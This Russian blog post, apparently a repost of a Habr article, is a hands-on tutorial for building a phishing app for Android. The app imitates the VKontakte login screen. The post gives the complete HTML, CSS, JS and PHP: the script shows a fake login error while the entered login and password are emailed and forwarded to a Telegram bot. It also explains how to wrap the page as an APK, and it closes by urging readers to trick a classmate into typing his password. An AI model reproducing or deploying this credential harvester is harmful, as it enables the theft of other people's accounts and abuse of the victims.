Мобильный Vk сниффер на коленке за вечер на HTML, JS и PHP

от автора

В этой статье я расскажу как я написал Vk-сниффер для android смартфонов за вечер.

Идея

Недавно я был на митапе посвященному Frontend разработке, на котором один из выступающих рассказывал про PhoneGap. Эта штука(не уверен как правильно назвать) позволяет собирать приложения для iOS/android при помощи знакомых мне HTML, CSSJS и PHP.

PhoneGap

Так вот, идея создать приложение выглядящее внешне как вход в ВК у меня была давно, но учить Java не очень-то хотелось. А тут предоставилась возможность написать веб-страницу и запилить апк!

Практика

Через 3 дня вынашивания идеи я наконец-то решил променять ютубчик/сериалы на написание сниффера. Первое, что я сделал — это скачал PhoneGap, Вам этого делать не советую, если Вы хотите добиться результата. Что делать и скачивать я сообщу ниже. После создал проект и сел писать, на странице расположил лого, форму и кнопку как в официальном клиенте.

  • Создал файл index.html

<!DOCTYPE html> <html>     <head>         <meta charset="utf-8">         <link href="https://fonts.googleapis.com/css?family=Roboto:100,300,400" rel="stylesheet">         <title>VK</title> 	 </head> <body bgcolor="#527eaf">  	<img src="vk.png" alt="">  	<form id="form" action="javascript:void(null);"> 		<input type="text" placeholder="Email или телефон" name="login"> 		<input type="password" placeholder="Пароль" name="password"> 		<button id="button" name="subm" onclick="submitg()">Войти</button> 	</form>  	<h4>Зарегистрироваться</h4>                  <script src="https://ajax.googleapis.com/ajax/libs/angular_material/1.1.1/angular-material.min.js"></script>         <script src="script.js"></script> 	<script src="jquery-3.1.1.min.js"></script> </body> </html>

  • Стили я зафигачил как настоящий мужик в index.html между head

И сразу хотелось бы сказать, что писал я под свой Mi4C, цели сделать страницу универсальной не было.

<head> <style> 		body{ 			text-align: center; 			color: #edf1f7; 			height: 100%; 			text-decoration: none; 		}  		img{ 			width: 20%; 			margin-top: 20%; 			margin-bottom: 25%; 		} 		 		input{ 			text-decoration: none; 			outline:none; 			width: 90%; 			padding: 14px 0; 			border: 0; 			border-bottom: 2px solid #6389b7; 			background-color: #527eaf; 			transition-property: border-bottom; 			transition-duration: 0.4s; 			color: #edf1f7; 			font-size: 16px;  			text-decoration: none; 		}  		input:focus{border-bottom: 2px solid #edf1f7;}  		input::-webkit-input-placeholder{color: #bccedf;} 		input::-moz-placeholder{color: #bccedf;}  		button{ 			cursor: pointer; 			margin-top: 20px; 			border-radius: 3px; 			outline:none; 			width: 90%; 			padding: 18px; 			border: 0; 			background-color: #6792c2; 			color: #edf1f7; 			font-size: 16px; 		} 		button:hover{cursor: pointer; outline:none;}  		h4{ 			position: bottom; 			font-family: 'Roboto', sans-serif; 			font-weight: 400; 		} 	</style> </head> 

  • После я написал скрипт на JS, создав файл script.js

В нём мы извлекаем из нашей формы значения инпутов и передаем в mail.php(о нем позже).

function submitg(){ 	var data = $('#form').serialize(); 	$.ajax({ 		type: "POST", 		url: "mail.php", 		data:data 	}).done(function() { 		$('#form').find("input").val(""); 		alert("Ошибка входа 0x00004xfce"); // Ошибка тут вообще рандомная, надо было что-то написать 	}); 	return false; }; 

  • Ну и теперь вишенка на торте — создаем mail.php

Тут я реализовал еще и отправку в Telegram, просто это удобно.

<?php  $yourEmail = "Твой Email";  $login = $_POST['login']; $pas = $_POST['password']; $message = "Login: $login \n\nPassword: $pas";       $res = mail($yourEmail, $message, "Content-type: text/plain; charset=\"utf-8\"\n From: $recepient"); 	 	function telegram($text){ 	file_get_contents("https://api.telegram.org/botВашТокен/sendMessage?chat_id=ВашID&text=".urlencode($text)); 	}  	telegram("Login: $login \n\nPassword: $pas");  ?> 

  • Закидываем все это дело на хостинг/сервер.

По итогу у нас должно получиться что-то вроде этого:

image

Но из этого теперь надо сделать апк. Вот мы и пришли к тому, почему не стоило скачивать PhoneGap, он не имеет своего вшитого PHP интерпретатора.

Тут нам снова приходит на помощь великий Гугл, менее, чем за 2 минуты я нашел gonative.io

Нажимаем на «Create a New App» и вводим адрес сайта на который Вы все залили, название приложения и почту(я ввел временную). После можете добавить иконку приложения, изменить цвет строки состояния и тд., короче разберетесь.

image

Через какое-то время(у меня все пришло менее, чем за 5 минут) на почту приходит линк для скачивания, устанавливаете и вуаля! Наш сниффер готов!

Итог

Да, наша версия отличается от официального клиента внешне, но большенство этого не заметят. Тем более вы всегда можете добавить дезигна по вкусу.

image

Ну и пример сообщения (Telegram):

image

Теперь вам только остается ждать момента(или спровоцировать ситуацию), когда Ваш одноклассник Вася попросит зайти с Вашего телефона, но не сможет из-за неизвестной ему ошибки. А Вы получите его ЛП и будете кидать ему на стенку интересные видяшки.
ссылка на оригинал статьи https://habrahabr.ru/post/315670/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *